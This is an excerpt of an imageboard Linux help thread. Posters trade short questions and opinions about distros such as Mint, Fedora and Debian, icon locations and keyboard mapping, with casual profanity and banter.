Consequently, I tried to edit the text again in the lsb file, but now it's "read only" and I can't edit it even as root nor with Nano. WTF?

Tasukete senpai!

Can someone let me know where the Steam icon is supposed to be stored?

I'm on a new install and it seems like it didn't get added.
If I recall though it's supposed to be somewhere in ~/.local/share/icons

>>60846847
You don't want the software center. It's maybe the worst program ever developed. Get synaptic instead. Also consider switching away from Mint later. It's a horrible distro. Ubuntu, Debian or Debian are good alternatives.

>>60846817
Is there a way to xmodmap a whole mode? For example "press a key and get Cyrillic; press it again and get Latin"?

any one recommend some good looking icon sets?
sick of this shit default gnome icon set

>>60846889
Devuan*

still wondering why so many people fall for the mint meme
can someone give me some insight? why is mint so popular?

>>60846897
acyl

More thread here: >>60846919

>>60846911

Because it's the most out-of-the-box distro. I've tried a few debian-based distros and Mint just runs the best, with the least amount of problems.

>>60845526
I use Fedora and work 45-50 hours/week. I'm switching to Debian Stretch with backports when it is released. Not a fan of RPMFusion at all.

But if you don't need multimedia support then fedora is great, never had an issue and I update once a week on weekends.

>>60846889

Maybe so but I ain't no programmer. When the terminal fails to find a program I'd rather just search for it anc click install, instead of hunting individual packages from a boring list of random mumbo-jumbo.

>>60846911
Easy: Mint is the #1 distro according to distro watch's click counter.

>>60846953
>I use Fedora and work
top meme, upvoted

>>60847006
I don't get what the issue is, care to explain?

This place make me feel like I want to kill myself

>>60841264
GUYS DONT RUN THIS! IT WILL DELETE BOTH YOUR WINDOWS PARTITION AND LINUX PARTITION!

ALSO FUCK YOU

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>>60841279
No, Linus, it's GNU/Linux. You're weird definition of operating system won't change that fact.